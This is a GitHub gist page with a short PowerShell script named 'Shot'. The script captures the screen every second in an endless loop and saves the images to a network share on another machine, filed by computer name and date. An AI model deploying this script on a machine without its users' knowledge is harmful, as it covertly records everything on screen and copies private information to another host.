-
-
Save justfdot/30f494faa7be8b09970b826f4accf095 to your computer and use it in GitHub Desktop.
Shot
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add-Type -AssemblyName System.Windows.Forms, System.Drawing | |
$destination = "\\HOME-PC\Share\" | |
if(!(Test-Path $destination)) { | |
# server's not respond, do something | |
} | |
$destination += $env:COMPUTERNAME | |
if(!(Test-Path $destination)) { | |
New-Item -ItemType Directory -Force -Path $destination | |
} | |
$destination += "\" + (Get-Date -f dd.MM.yy) | |
if(!(Test-Path $destination)) { | |
New-Item -ItemType Directory -Force -Path $destination | |
} | |
$screen = [Windows.Forms.Screen]::PrimaryScreen.Bounds | |
while ($true) { | |
Start-Sleep -Seconds 1 | |
$image = New-Object System.Drawing.Bitmap ($screen.width), ($screen.height) | |
$graphics = [Drawing.Graphics]::FromImage($image) | |
$point = [Drawing.Point]::Empty | |
$graphics.CopyFromScreen($point, $point, $image.Size) | |
$image.Save( | |
"$destination\$(Get-Date -f HH.mm.ss).png", | |
[Drawing.Imaging.ImageFormat]::Png | |
) | |
$graphics.Dispose() | |
$image.Dispose() | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment